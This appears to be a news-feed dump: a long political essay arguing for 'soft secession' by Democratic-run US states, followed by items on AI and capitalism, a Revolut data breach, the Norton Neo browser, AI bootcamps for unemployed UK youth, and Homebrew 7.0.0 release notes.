The model predicts instability, and the words people reach for are civil war and coup. Secession is the one that many treat as unthinkable or shocking. Support for it exists, and it has flipped by party. About a fifth of Americans told YouGov in 2026 they would back their own state leaving . The national figure is down from a quarter in 2024, but only because Republican support collapsed once the party took power, from 29 percent to 14. Democratic support stayed flat while it climbed in blue states, and Democrats are now likelier than Republicans to want out of the union. The flat Democratic number hides something. When a Democrat thinks about secession, the word that comes to mind first is Confederacy. Many read the word secession through the lens of slavery, hate, oppression, and the Lost Cause, the postwar myth that recast the Confederacy as noble, so the instinct is revulsion before analysis. The Confederacy captured the idea of leaving in 1861, and that association has lasted 165 years since.

It is odd that we associate moral good with the binding of a tumultuous union rather than good with good. The founding American document does not. The Declaration of Independence grounds government in the consent of the governed and says that when a government becomes destructive of rights, the people may alter or abolish it . The United States was born from a secession against an abusive authority. The reflex that treats staying together as the moral default has the logic backwards, and it survives mostly because Abraham Lincoln won and the South was morally wrong.

Now let’s ask the question that subconscious reflex forbids, with Immigration and Customs Enforcement now serving as the MAGA movement’s iron fist. Is being the United States of America more inherently moral than an EU-style union, or than some states joining Canada, or a coalition of blue states that don’t want to see their resources used for oppression, worldwide death dealing, and existential dangers at an accelerating rate, so that their people are not abducted by that army or held in internment camps? Unity is worth what it protects. When it protects the people doing the abducting, it is worth less every day.

Of course, the country does not sort into clean red and blue territory, and every red state contains blue cities while every blue state contains rural red counties, so where would the border go? That defeats a tidy two-nation partition. It says nothing about one state leaving. California already has a border. It is the state line, and the red counties inside it weigh no more than the Tories weigh in an independent Scotland or the Anglophones in Quebec. Every country contains people who voted the other way, and that has never been a reason a country cannot exist. A state with a Democratic trifecta supermajority, one party holding the governorship and a supermajority in both legislative chambers, could leave, red patches and all, and it might objectively benefit from it: it would stop funding a government aiming ICE and the military at its own residents, and it would keep its own tax base, which by the California Budget and Policy Center’s count sends more than eighty billion dollars a year to the federal government beyond what comes back . Maybe more and more Californians will start asking when it’s worth being on their own.

Worth discussing is that exit saves the population it takes and abandons those it leaves behind. That is the second objection, and a serious one. A New York departure does nothing for the immigrant detained in Texas or the Democratic voter in Alabama, and the union has previously been the machinery that forced rights onto states that refused them, from Brown v. Board of Education in 1954 to the Voting Rights Act of 1965 . That objection assumes the machinery still works, that staying protects the person in Texas. When the federal government is the one doing the detaining, staying adds California’s residents to the list without lifting a single Texan off it. The real choice is between losing with him and building a place he can reach.

The third objection is the law. In Texas v. White, in 1869, the Supreme Court held that a state cannot leave the union unilaterally . That is the law under the Constitution as it stands, and the opinion itself names the two ways out which it still leaves open, revolution and the consent of the states. My argument rests on the first, the Declaration of Independence’s ground: consent can be withdrawn from a government that has become its people’s enemy, and that claim sits outside the Constitution rather than beneath it. The objection only loses its force once you say plainly that the argument is not for leaving the Constitution itself, but for leaving the federal government that has abandoned that founding document.

Lincoln made the fourth objection, and it is structural. He claimed that if any faction can leave when it loses an election, no democracy can survive , so accepting the loss and staying to win next time is what makes self-government work. That argument is powerful, but the years since have shown it to be an inaccurate projection. It assumes the system is still a democracy the loser can win in, and Lincoln said as much in the same speech: “If by the mere force of numbers a majority should deprive a minority of any clearly written constitutional right, it might in a moral point of view justify revolution; certainly would if such right were a vital one.” Of course in our situation it is the majority that is kept out of power, and more often each cycle. The South’s problem was that no such right had been denied it. A government holding people in camps without the due process the Fifth Amendment writes out for every person is denying a clearly written right. Scored on the CIA’s model, the United States has already left the category where the loser can truly create substantive change at the federal level, Obama and Biden being critical examples of that. When the Democratic party wins nationally, successes are incrementally and easily undone; when the GOP wins federally, often with a minority of votes, the regression is rapid and dramatic. The more autocratic the country becomes, the weaker Lincoln’s case for staying, and the stronger the case for going.

That leaves the objection that decides it, force. The scholars who study breakup conclude that an American secession would fail. Ryan Griffiths of Syracuse University put it in the title of his 2025 book, The Disunited States: Threats of Secession in Red and Blue America and Why They Won’t Work . Their reason is the one that has decided every case. Secession succeeds when the center cannot stop it, whatever the merits of the cause. Fifteen republics left the Soviet Union in 1991 because the Soviet government had lost the capacity and the will to keep them. Czechoslovakia split because the government in Prague agreed. Secession fails against a strong center that refuses, and the United States has been a strong center for its entire history. That is the objection the consensus view rests on, the consensus among the scholars who study secession that is.

There is an objection to the comparison itself, and it is the sharpest one. The Soviet Union and Czechoslovakia were unions of nations, each with its own language and its own memory of sovereignty from before the union existed. California is not a captive nation. Its people speak the fed’s language and live under the fed’s law. Until recently they thought of the federal government as their own. So why would a state with no separate national identity ever act like a Soviet republic? Because the founding secession was made by exactly such people. The colonists of 1776 spoke the controlling government’s language, and they left anyway, the moment the government in London became their enemy.

Secession has two requirements, a central government that has become an enemy and a periphery with the means to refuse it, these are not static states of being in a nation as unstable as the United States of 2026. The Soviet republics had the centralized stability first and lacked the will to leave until 1991. Many blue states have had the means for fruitful independence all along and are acquiring the will as things get worse.

The strong center is collapsing, and at an accelerating pace. Every day the federal government gets weaker and more abusive, and the weaker it gets the more desperate it is to keep power. The consensus view treats the army as a permanent fact, when the army is the first thing a broke, hated government loses. Every new administration replaces officials, so the question is how to tell a coercive apparatus in decay from an ordinary turnover. The coercive apparatus is the military and the police, the force a government uses to compel obedience. The test has two parts. A government in decay selects its commanders for loyalty over competence, and it loses the capacity to pay and supply the force it is selecting.

An army depends on being paid and being willing, and either can fail. In August 1991 the Soviet coup collapsed because the units ordered into Moscow would not fire on their own people, and Soviet capacity looked intact right up until the order was given and ignored. The signs that American capacity is eroding are already on the record. In February 2025, in a single night, the president fired the chairman of the Joint Chiefs, the chief of the Navy, the vice chief of the Air Force, and the services’ top lawyers , after the defense secretary had circulated a list of officers to be removed to Republican members of Congress. More than a dozen senior generals and admirals were gone by that summer . The director of the Defense Intelligence Agency was fired after his agency reported that the strikes on Iran had set its program back only months, contradicting the president. In April 2026 the Army chief of staff was removed after 38 years of service and replaced by an officer who had served as the defense secretary’s personal military assistant , and the Navy secretary was fired in the middle of an active blockade with no reason given. None of them was charged with wrongdoing. That is a chain of command being rebuilt for loyalty, and loyalty is what you screen for when you have stopped assuming it. Every purge of that kind trades competence for obedience, and a coercive apparatus does not function on obedience alone. You get a force that looks enormous on paper and cracks the first time it is tested. That is the first part of the test. The second is on the record too. The same month the purge began, the Pentagon was preparing to shed up to 76,000 civilian workers and cut eight percent of its budget . In October 2025 the troops were paid through the government shutdown only after the president ordered the Pentagon to move eight billion dollars of leftover research money onto the payroll , and the Pentagon accepted an anonymous donation of 130 million dollars toward their salaries .

And the troops are not sealed off from the country. They live in states, and in reality, and when the government cannot pay them and their families are getting hammered by the same budget cuts and price rises hitting everyone else, the reliability of the force changes. The firings are not confined to generals. They reach down through the ranks for culture-war loyalty, and they come with a widening circle of ordinary suffering that reaches inside the barracks because the barracks are inside the country.

The midterms in November 2026 and the presidential election in 2028 will show where reality stands. But suppose a Democrat wins in 2028. That president takes office facing a Supreme Court with a six-to-three majority whose youngest members are in their fifties and keep their seats for life. That majority was built through the Federalist Society, the organization that credentialed and installed the judges who delivered it , and in Trump v. United States in 2024 it ruled that presidents are immune from prosecution for their official acts , an immunity no clause of the Constitution grants and one the Declaration of Independence listed among the king’s offenses, shielding his officers from punishment for killings of the people they governed. Alexander Hamilton, author of most of the Federalist essays arguing for the Constitution’s ratification, wrote in Federalist 69 that the president “would afterwards be liable to prosecution and punishment in the ordinary course of law.” Every reform that president signs has to survive that bench, which has refereed for the president on immunity and on control of the executive branch, and against him once, narrowly, on the tariffs .

Behind the Court sits a Senate where Wyoming’s 580,000 people get the same two votes as California’s 39 million, and where the twenty-six smallest states, holding under a fifth of the population, elect a majority . Add the filibuster, the Senate rule that requires sixty votes to end debate on most legislation, and nothing that matters passes. The House is drawn by the parties that control it, and the presidency itself went to the candidate who lost the popular vote in 2000 and again in 2016. Those are the rules that produce minoritarian rule, government by the side with fewer votes, from the rural and Confederate states, and no single election changes them.

So the Democratic government is Biden 2.0, and the record says what that means. Obama declined to prosecute the architects of torture and told the country to look forward rather than back . Biden’s attorney general took more than two years to indict the man who tried to overturn an election, and the case died in the immunity ruling and the 2024 result . Democrats do not arrest the people who committed the last administration’s crimes, and there is no reason to expect the next one to arrest the people running the camps.

Then Republicans spend a few years in opposition and take back control, because that is the other half of the pattern. They took the House in 1994, two years after Clinton, and again in 2010, two years after Obama. They took the presidency in 2016 and again in 2024. Every Democratic president since Clinton has lost the House within two years and handed the presidency to a Republican within eight, and each return started from wherever the last Republican left off. Bush handed over the wars and the surveillance state, and Trump is handing over the camps and a purged military. The next one inherits all of it and adds what he wants.

Extend everything I have described ten years: more elections with disputed counts, Republican legislatures passing whatever the White House sends them, federal courts staffed down to the district level with Federalist Society judges, and a regime that pushes ten steps forward and gives back one so the billionaire-owned press has something to celebrate. Legitimacy craters. Capacity hollows out underneath it at the same time, because a government that is broke and purging its own ranks for loyalty is a government that increasingly cannot pay its people and cannot count on the ones with the guns.

That is where the calculation changes for states like California and New York. By year ten, a California exit looks less like a blue state defying a mighty federal government and more like a solvent, functional state becoming less involved and moving away from an insolvent, incompetent one that spent its capacity on spectacle and repression. The demand for it rises and the cost of it falls. The consensus view assumes a permanent strong center that can always crush an exit. What I have described is the process by which a center becomes less able to maintain power by force, while incentivizing those most able to leave.

One thing keeps this from being a comfortable forecast. Brittle centers do not go quietly. They lash out hardest right before they fail, because spectacle and force are the only tools they have left, and the 1991 coup was exactly that, the hardliners’ last attempt to keep the union by force, which broke the union instead. The public has little appetite for violence. PRRI found in December 2025 that a fifth of Americans agreed patriots may have to resort to it to save the country , with Republican support down to 19 percent from 35 percent under Biden. The pressure comes from the center instead. So the likeliest path is a confrontation rather than a clean divorce, and the exit comes through it or after it, the way it usually does. A rotting center makes secession achievable and makes the road there often violent.

Everything in this piece represents my reasoning for the value of something called Soft Secession. Soft secession, the non-confrontational path to quiet quitting and disempowering the bad guys. This means states using their own constitutional authority to refuse federal authoritarianism and build functioning governments, and it is already underway, as I have documented since 2025 . The federal center is entering the kind of decay that has ended other unions. It will grow more violent as it weakens. And the states with the means will start doing the math the consensus view says they never will. My view cuts against that consensus. The consensus rests on a hideously corrupted federal government that can pay and command its army, and the last two years are the record of that movement starting to lose both.

The Existentialist Republic runs on subscriptions as an activist organization, a news publication, an activist hub, a legislation factory, and as an educational resource. Don’t let this be the reason you skip a meal or miss rent. For those that can subscribe, know that I literally can only show up for everything you see here because you subscribe. We move at the speed of subscriptions, this all grows and becomes more powerful because you personally make the decision to be a part of the movement to not just fight back against fascism and fight for humanity, but to do it by sharing, educating others, and where possible to be an activist subscriber by being someone who presses the button below.

Buy The ER Some Coffee

States pay corporations to move in. In 2017 Wisconsin promised Foxconn, a company headquartered in Taiwan, nearly three billion dollars in tax credits for 13,000 jobs. By the end of 2022 Foxconn had created 1,029 of them . Every state runs programs like it. The argument above is that the states with money will have choices in the years ahead, and this is one place a state gives that money away without a good return on investment, unless you’re a politician looking for easy contributions and ready to hand out tax-payer dollars. Your state legislature can stop it.

Ask your state legislators for four things:

  1. No new relocation or expansion incentives: no tax credits, cash grants, free land, or infrastructure built for one company to bring it in or keep it from leaving.

  2. Every existing deal published, by company, with the jobs promised next to the jobs delivered.

  3. Every dollar recovered from every company that missed its number, the way Wisconsin’s renegotiated Foxconn contract lets the state recover all incentives paid in any year the company defaults .

  4. A preference for businesses based in your state when the state buys goods and services.

Here is how to reach them. Find your state legislators here . Email them, call the district office, send a fax through FaxZero , or print a letter and mail it. Form letters do not work, and identical messages get counted once, so write it in your own words. Say who you are, where in the district you live, why you care, and what you want them to do. To find a deal in your own state, search the state or the company in the Good Jobs First Subsidy Tracker .

If you call, cover these points:

  • Your name and where in the district you live.

  • One deal in your state, by company name and dollar amount, and how many of the promised jobs showed up.

  • Which of the four asks above you want the legislator to carry.

  • The legislator’s position, and the name of any bill they will introduce or cosponsor.

By clicking this sentence you can buy a physical copy of my book “Toppling Tyrants: A Field Guide to Removing Fascism in America”

You can get a FREE PDF of the book in the BMAC shop for $0.00 by clicking on this sentence.

Conservatism: America’s Personality Disorder — physical copy / free download

Intro to Soft Secession — physical copy / free download

Oppositional Federalism and You — physical copy / free download

Toppling Tyrants: A Field Guide to Dismantling American Fascism — physical copy / free download

Grab Them By The E.A.R.R.: How to Get Politicians to Do What You Want — physical copy / free download

Being Dangerous: Go From Activist to Operative

Activism Journal

More Free downloads:

Soft Secession: 100 Policies That Pass

All Four Completed Model Legislation Bills

The Opposition Guide to Tax Warfare

Six-Panel Soft Secession Brochure

Prosecution Memo: Jonathan Ross

Bumper Stickers

Discussion about this post

Ready for more?

AI will transform capitalism – but how?

Guardian
www.theguardian.com
2026-09-13 07:00:02
Technology is going to drastically reshape the economy, and it’s within our power to decide what that looks like The idea that autonomous, thinking machines may one day destroy property, hierarchy and inequality is as old as western political thought. In Aristotle’s Politics, the philosopher cites a...
Original Article

T he idea that autonomous, thinking machines may one day destroy property, hierarchy and inequality is as old as western political thought. In Aristotle’s Politics, the philosopher cites a fantasy from the Iliad, in which machines begin to act independently of human direction, concluding: “If every tool could perform its own work when ordered, or by seeing what to do in advance … if thus shuttles wove and quills played harps of themselves, master-craftsmen would have no need of assistants and masters no need of slaves.”

The dream that automation could inaugurate a classless society is also present in the writings of Karl Marx. In 1858 he imagined the replacement of intellectual property with “socialised knowledge”, which would merge into a “general intellect”, blowing the foundations of capitalism sky high.

Today this prospect has begun to haunt Silicon Valley. In July, Dean Ball, head of strategic futures at OpenAI, claimed China’s advocacy of open-source models of artificial intelligence might bring about “full AI communism”.

For China, Ball complained, “AI is a public good which will ultimately be provided by the state as a kind of ‘digital public infrastructure’.” This, he concluded, “strikes me as a dystopian hellscape”.

Though I relish Ball’s discomfort, I doubt the rise of rival Chinese models – Kimi, Qwen and Deepseek – heralds the end of capitalism. Rather, it is an attempt to counter one strategy for global domination with another.

The US AI strategy – which is to hoard computing power, giving users access only via the internet – is designed to force the rest of us to use American software, cloud computing services and regulations. The Chinese counterplay is to make the AI open source, allowing users to run versions locally on their own servers and to firewall their data from being exploited by a Chinese AI provider.

Beijing gambles that if AI does indeed become a “general purpose technology”, the People’s Republic of China can win the battle for supremacy in the technologies built on top of it, such as brain-machine interfaces, bioengineering and what it calls the “low altitude economy” (the realm of delivery drones, and so on).

Who wins this contest will determine the trajectory of information technology for the rest of the century. But what if there was a third way? What if, instead of a contest between two flavours of hierarchical and unequal info-capitalism, we decided to shape artificial intelligence towards the ends Marx and Aristotle imagined?

Large language models (LLMs) already exhibit the features of what Marx described as the “general intellect”: they are designed to embody and learn from every item of human knowledge ever produced. Frontier models are already surpassing the output of some trained and experienced knowledge workers.

And while we are all aware that this has begun to eliminate tasks and even entire job functions, few of us have understood what it is likely to do to capitalism.

For now, of course, the monopoly positions carved out by the AI companies are making shareholders and the workforce very rich. But the job-destroying quality of AI makes it different from every previous technological revolution. Few can say with confidence that the jobs destroyed will be replaced by new kinds of activity – as vaudeville theatres were replaced by Hollywood, for example.

And it’s not just the jobs of workers that come under threat, but those of capitalists. If a machine can replace a junior solicitor, or a web designer, it can also replace the entrepreneur, the innovator and the forex dealer. The economist Philippe Aghion said that AI might not only automate entrepreneurial skill but destroy the link between innovation and profit: for who would patent a discovery if the filed blueprint could be immediately emulated and bettered by a machine? So we face a choice: delay and obstruct AI adoption in the name of social justice, or embrace it in a radically altered form. I prefer the latter.

Marx described the advance of industry in the 19th century as moving humans “to the side” of the production process, turning them into machine supervisors rather than machine operatives. Artificial intelligence does this for brain work, and to very high standards, less than five years into the deployment of LLMs. The impacts will be profound – because capitalism without human workers, innovators and entrepreneurs won’t function like capitalism.

So the rational question is not how Britain builds a sovereign AI to rival those of China and America. It is: how does humanity shape AI towards the fulfilment of human need?

There are some obvious starting points: break the link between work and wages, through the provision of universal basic services and incomes; promote co-operative and non-profit business models; and use AI to do what Soviet-style planning could never do – replace the market as the rational allocation mechanism. But that still leaves the question of what kind of artificial intelligence we need to design.

American AI looks like it does – brash, exploitative, secretive and mercantilist – because it is designed to replicate a specific social reality. Likewise, the Chinese models, for all their openness, are built to further the project of global hegemony.

It is not out of the question for those who want a green, social-democratic, co-operative or even anarchist future to devote resources in the here and now to diverting the path of technological development towards these goals.

If we are prepared to trail six months behind Claude or Kimi, we can simply use them to design an un-ownable AI model with humanism and universal values built in.

And if China’s open-sourced models are eating into the market share of the Silicon Valley giants, why couldn’t ours – since ours would be free and theirs reliant on the $20-a month subscriptions from millions of people?

A green and social-democratic AI model would look very different even to the self-proclaimed ethical models offered by US vendors. It would aim to economise on energy and computing power; it might be weighted towards altruism, not competition and individualism. Its starting point might be the community, not the individual.

So while I don’t think AI automatically creates a classless society, it does stand a chance of creating a huge, generalised crisis of the existing model, in which those prepared to imagine the future, not cling to the past, have a chance to shape it.

Paul Mason is a broadcaster and author of Reds: A Global History of Communism (Apollo).

Further reading

Atlas of AI by Kate Crawford (Yale, £12.99)

Fully Automated Luxury Communism by Aaron Bastani (Verso, £9.99)

AI Superpowers : China, Silicon Valley, and the New World Order by Kai-Fu Lee (Harper Business, £12.99)

Nvidia dismisses "circular financing", says every $1 it invests brings back $100

Hacker News
invezz.com
2026-09-13 06:29:18
Comments...
Original Article

Why have I been blocked?

This website is using a security service to protect itself from online attacks. The action you just performed triggered the security solution. There are several actions that could trigger this block including submitting a certain word or phrase, a SQL command or malformed data.

What can I do to resolve this?

You can email the site owner to let them know you were blocked. Please include what you were doing when this page came up and the Cloudflare Ray ID found at the bottom of this page.

Revolut confirms customer data breach through fake government requests

Hacker News
techcrunch.com
2026-09-13 05:59:58
Comments...
Original Article

British fintech Revolut confirmed that it disclosed sensitive customer information to an unauthorized third party after receiving fraudulent requests sent from a legitimate government agency email domain.

The exposed data included customers’ identity and contact details, including their birth date, postal and email addresses, and phone numbers, as well as copies of their identity documents including passports and driver’s licenses, according to a notification emailed to affected customers and reviewed by TechCrunch. The data may have also included verification selfies, account statements, and transaction histories, the firm said in its notification.

A Revolut spokesperson confirmed to TechCrunch that a “limited” number of customers were impacted and said the company had contacted those customers directly. Revolut, however, did not disclose the exact number of impacted individuals. It also did not answer whether the incident was limited to a specific market and declined to disclose the government agency involved.

“Revolut recently identified a sophisticated external impersonation scam where an unauthorised third party utilised a legitimate government agency domain email to submit fraudulent requests for information,” the spokesperson said.

Revolut told TechCrunch that it blocked the email address after discovering the scam from the unauthorized third party and alerted the relevant government agency, law enforcement, and relevant regulators, adding, “Revolut systems and customer funds are unaffected.”

London-based Revolut has more than 80 million customers globally and operates as a bank in more than 30 countries, per its website. The fintech recently expanded its presence in markets including India, Mexico, France, and the UAE. Moreover, earlier this month, the U.S. Office of the Comptroller of the Currency granted a conditional approval to Revolut to set up a national bank in the country, which the firm expects to launch in the first half of 2027.

Well-known crypto security researcher ZachXBT posted about Revolut’s email to its affected customers late on Friday. The researcher said the incident appeared to have been targeted at high net worth users.

The incident comes as Revolut reportedly weighs a potential public listing that could value it at as much as $200 billion , up from its $75 billion private valuation in November. The fintech has also been expanding its banking footprint in Europe and globally, securing banking licenses in France and the UK in recent months.

When you purchase through links in our articles, we may earn a small commission . This doesn’t affect our editorial independence.

Jagmeet covers startups, tech policy-related updates, and all other major tech-centric developments from India for TechCrunch. He previously worked as a principal correspondent at NDTV.

You can contact or verify outreach from Jagmeet by emailing mail@journalistjagmeet.com .

View Bio

Norton Neo Browser

Hacker News
neobrowser.ai
2026-09-13 05:07:59
Comments...
Original Article

Built on trust. Protected by Norton.

This is browsing, reborn

Decrative image of random shames

decorative art image abstract

decorative image. Black and white swirls

decorative image

decrative image small art

See How Norton Neo Transforms The Web

Your life online is never still. You are streaming, shopping, working, connecting. Norton Neo adapts in stride, pulling the best forward while staying simple at the surface.

decorative image showing broswer history

Privacy is not a setting.
It is the foundation.

Most AI products ask you to trade privacy for capability. Norton Neo was built so you never have to choose.

Zero retention policy with all AI providers. Neo does not train on your data. AI requests are routed server-side so providers never receive your IP address or browser headers. Sources shown on every AI summary. Your data stays yours.

Cleaner browsing, smarter blocking, and no extensions required. The ad blocker runs quietly in the background every session, active by default from the moment you open the browser.

Anti-Fingerprinting Protection

Most tracking does not rely on cookies anymore. Websites build a hidden profile using dozens of invisible signals: your screen size, installed fonts, GPU behavior, audio settings, and more. Neo blocks and randomizes those signals by default, globally, across every site you visit. No setup. No toggle. Always on.

Powered by Norton and built directly into the browser. One click encrypts all your browsing traffic. No separate app, no extra subscription required. A strict no-log policy means your browsing history, DNS queries, and IP address are never stored. Independently audited annually.

Privacy is not a layer added on top of Neo. It is part of the browser architecture itself. Built and maintained by Gen Digital, the team behind Norton, one of the most trusted names in consumer digital security.

How people are
using Norton Neo

Have Questions?

Our team and community are here to help. Join the conversation, meet other explorers, swap ideas, and get early insights straight from the source.

Join Discord

Step into the New Digital Reality Now

This is the browser the web should have had all along. Private. Powerful. Effortless. Norton Neo is here.

‘Really helpful’: the AI bootcamps aimed at addressing UK youth unemployment

Guardian
www.theguardian.com
2026-09-13 05:00:04
Pilot project in Preston comes with apprenticeship offer for Neets at end of three-week course In a youth centre opposite Preston bus station, the UK government is trying to address two of the greatest challenges facing the national economy: AI and youth unemployment. The hope is that one will solve...
Original Article

In a youth centre opposite Preston bus station , the UK government is trying to address two of the greatest challenges facing the national economy: AI and youth unemployment.

The hope is that one will solve – rather than cause – the other. In a room at the recently opened Vault, a community hub in the Lancashire city, an “AI bootcamp” is under way – part of a trial in the north-west to give 16- to 24-year-olds AI training.

The bootcamp tutor is standing in front of a video screen and guiding the five attenders sitting around a long table on laptops through a task designed to emphasise the importance of glitch-free data in AI models.

“Does that make sense?” he asks. The room nods.

Three teenage boys sit at a long table looking intently at laptop screens. The wall behind them is painted deep blue.
The three-week pilot boot camps are open to 70 young people who are classified as Neet or at risk of becoming so. Photograph: Christopher Thomond/The Guardian

Everyone attending these sessions is either a 16- to 24-year-old not in education, employment or training – Neet, for short – or likely to join that bracket.

Youth unemployment is a problem in the UK. Nearly a million young people are Neet – just over one in 10 people in that age group. The advent of AI, either a threat or boon to the job market depending on your perspective, is now another factor to take into consideration when tackling the youth joblessness crisis.

Khudeija Rafique, who is attending the course, sees potential in the new tech. “It would be really helpful with whatever job I would like to go into,” the 18-year-old from Burnley says.

These taxpayer-funded bootcamps are a pilot scheme, open to 70 people who will undergo a three-week programme specially designed for Neets to learn how to build AI tools, understand how businesses use AI, and learn to use the technology responsibly. The retailer JD Sports, food company Heinz and IT firm Agilysys are among the partners offering AI apprenticeships specifically designed for the attenders to join at the end of the course.

There are two types of apprenticeship available: one for aspiring content creators to become AI marketing specialists, another to join IT helpdesks that need AI expertise. If a boot-camp trainee gets an apprenticeship, they will be going to an organisation that wants these skills and has an AI-focused role to fill.

Lauren Monks sits on a blue chair with her legs folded, in front of a glass wall with bright blue frames. She has long wavy reddish-blond hair and wears a white shirt and green trousers.
‘This is an opportunity to bridge a gap, to improve productivity and bring AI into organisations,’ says Lauren Monks. Photograph: Christopher Thomond/The Guardian

“This is an opportunity to bridge a gap, to improve productivity and bring AI into organisations,” says Lauren Monks, an executive at IN4 Group, the company contracted to run the programme.

Amid general concerns about the availability of entry-level jobs and whether AI is stifling that market, being on top of the technology can be an advantage if you’re seeking your first job.

This is common advice from graduate recruiters, but experts say it can apply to Neets as well, depending on what sector of the economy they are joining.

Remy Simms, 17, is interested in applying for the content creator apprenticeship and says the Preston course has “changed my opinion” on AI. “It shows that you can work with AI and you don’t have to work against it,” he says. “I’ve got a better understanding of it and I know more about how it works.”

Remy sits in a pale blue armchair in front of a glass wall with bright blue frames. He is small and thin with his hair tied back and wears a black zip-up hooded anorak.
Remy Simms, 17, says the Preston course has given him a ‘better understanding’ of AI. Photograph: Christopher Thomond/The Guardian

Alan Milburn, a former Labour cabinet minister, warned in a recent report that the country was “at risk of a lost generation” without government action on the Neet crisis. Milburn’s prescription goes a lot further than AI bootcamps – he calls for reform of the welfare system, for instance – and his report points out that work programmes by successive governments have failed to answer the problem.

Concerns about AI’s impact on employment have focused on the graduate job market so far, not on school leavers and non-graduates, amid expectations that it will be able to do the “grunt work” associated with junior employees in areas such as banking, consulting and law.

skip past newsletter promotion

The impact on non-graduate work was unclear, according to Dr Bouke Klein Teeselink, who is researching AI and the future of work at King’s College London.

“We don’t have really good insights into how AI affects the non-graduate market compared to the graduate market,” he says, but suggests this scheme could help answer the puzzle of getting more young people into the labour market.

The key test of the bootcamps and ensuing apprenticeships, Teeselink says, would be the thoroughness of the AI training and whether these newcomers made a real difference to their employers’ productivity. “I hope the policy will be rolled out in a way that allows the government to answer both those questions,” he says.

Hamid stands in a corner on a stairway, smiling. The walls behind him are painted bright yellow on one side and with red and black diagonal stripes on the other. He wears baggy black trousers and a brown cable-knit jumper, plus a backwards-facing baseball cap.
Hamid Muhammad-Asif, 16, says he would be happy with a content creator or IT helpdesk apprenticeship. Photograph: Christopher Thomond/The Guardian

So will the bootcamps make a difference to Neet numbers? Experts say there is no single cause of the crisis and any comprehensive solution must be multi-faceted.

Chris Goulden, the deputy chief executive of the Youth Futures Organisation, a non-profit that researches how to help young people find employment, says he does not believe AI is a driver of Neet numbers. The country still needs to increase the amount of apprenticeships it offers, and guide children who are not on a pathway to university into vocations, he says.

“Our sense is that AI is not driving the increase in Neets since the [Covid] pandemic,” he says. “It’s more to do with mental health issues and a general slowdown in the economy. But that’s not to be complacent, because AI is doing new things every day and it’s going to affect lots of jobs.”

Goulden says if the “first rung of the ladder” is being taken away by AI, it is logical to give young people a foothold in the technology. “Teaching young people to use AI is part of how we prepare them for the future,” he says.

In Preston, the bootcamp attenders are keen to take the next step.

Asked whether he wants the content creator or the IT helpdesk apprenticeship, 16-year-old Hamid Muhammad-Asif, from Blackburn, says: “I’m happy with both.”

Homebrew 7.0.0

Hacker News
brew.sh
2026-09-13 04:41:17
Comments...
Original Article

Today, I’m proud to announce Homebrew 7.0.0. The most significant changes since 6.0.0 are faster installations and upgrades, stronger sandboxing, a native macOS app, built-in vulnerability checks and an advisory database, the end of macOS 10.15 support and Intel Macs moving to Tier 3.

Contents

⬆️ Upgrading

An auto-update or manual brew update (if you have $HOMEBREW_NO_AUTO_UPDATE set) will upgrade Homebrew for you.

Now means 7.0.0. Deprecated interfaces warn until disablement; disabled interfaces reject use and removed interfaces are unavailable.

Environment 7.0.0 behaviour and action Timing PR links
macOS 10.15 or earlier Upgrade to macOS 11 or later Now Minimum version
macOS Sonoma 14 Tier 3; upgrade to Sequoia 15+ for bottles and .pkg installations Now Support window
macOS Golden Gate 27 on Apple Silicon Fully supported (Tier 1), with prebuilt bottles Now Full support
ghcr.io/homebrew/ubuntu22.04 Image removed; migrate to ghcr.io/homebrew/brew Now Notice , removal
Homebrew/actions/*@master or @main master removed; pin a CalVer release or full SHA Now Branch migration , releases
Setuid wrappers with different real and effective UIDs Rejected; run as the installation’s owner without a wrapper Now Execution model
Third-party brew wrappers Tier 3; internal commands bypass wrappers; seek support from the wrapper project Now Wrapper changes
Homebrew/brew master Frozen bootstrap; switch to main before removal 2027-03-01 Bootstrap
Intel macOS 11 or later Tier 3; no new bottles; migrate to MacPorts before Homebrew stops running 2027-09-01 Support , bottles
Apple Silicon macOS 11 Upgrade to macOS 12 or later before support ends 2027-09-01 Support schedule
Third-party formula post_install and cask flight blocks Deprecated; migrate to *_steps ; brew style --fix converts common hooks 2027-12-11 Deprecation , migration

🍺 All Homebrew users

The following improvements apply across platforms unless stated otherwise.

🏎️ Performance

Greater concurrency across downloads, preparation and installation maximises performance while coordinating failures and summaries.

🔒 Security

Homebrew 7.0.0 includes various security fixes and new installation protections.

Security advisories

The first fixed releases are listed below.

Installation and tap protection

Tap trust remains the primary protection against malicious third-party casks; sandboxing mainly limits accidental damage and adds installation safeguards. It cannot make untrusted software safe to run: applications execute with the user’s privileges, and vendor .pkg installers run outside the sandbox and may require sudo . We balance tighter restrictions with keeping existing software working.

Trust and environment migrations and replacements.

🔎 Commands and configuration

Commands provide clearer previews, package information and service configuration.

Brewfile s record language-tool sources alongside other packages, reducing separate installation instructions when reproducing an environment on another machine.

Command and configuration migrations and replacements.

🗃️ Casks

Formula links take precedence when formulae and casks provide the same commands, with warnings explaining how to restore the cask links.

Cask configuration migrations and replacements.

🍎 macOS users

Homebrew moves macOS Intel x86_64 to Tier 3 in September 2026, announced in August 2025 and repeated in the 5.0.0 release notes on 12 November 2025 ; 7.0.0 also drops macOS 10.15. Homebrew still runs on Intel until September 2027, without project support or routine bottle builds. Apple and GitHub’s retreat from Intel support exceeds what Homebrew’s volunteers can replace.

macOS support migrations

Interface or platform Status in 7.0.0 Timing Replacement
macOS Catalina 10.15 and earlier Removed Now Upgrade to macOS Big Sur 11 or later.
Intel macOS Tier 3; no new bottles Now Apple Silicon or MacPorts .
macOS Sonoma 14 Tier 3; no new bottles Now macOS Sequoia 15 or later.
macOS Golden Gate 27 on Apple Silicon Supported; Tier 1 Now No migration required; prebuilt bottles available.
Running Homebrew on Intel Macs Upcoming removal 2027-09-01 Apple Silicon or another package manager.
macOS Big Sur 11 on Apple Silicon Upcoming removal 2027-09-01 macOS Monterey 12 or later.

🖥️ Homebrew app

BrewUI is Homebrew’s fully released official graphical interface for macOS , making package management more approachable through a native application.

BrewUI showing installed formulae and casks, with the selected package's versions, dependencies and uninstall command.

🐧 Linux users

Homebrew 6.0.0 introduced Bubblewrap sandboxing . Homebrew 7.0.0 replaces it with Landlock , requiring no dependencies or escalated Docker permissions, which caused setup problems with Bubblewrap.

Status in 7.0.0: kernels without Landlock continue working without Linux sandboxing in the less secure pre-6.0.0 configuration; brew doctor reports missing protection as an advisory.

Linux configuration

Interface or platform Status in 7.0.0 Timing Replacement
HOMEBREW_SANDBOX_LINUX Disabled Now Remove it; Landlock is used automatically where available.
HOMEBREW_NO_SANDBOX_LINUX Deprecated 2027-12-11 No replacement opt-out; unavailable Landlock remains advisory.
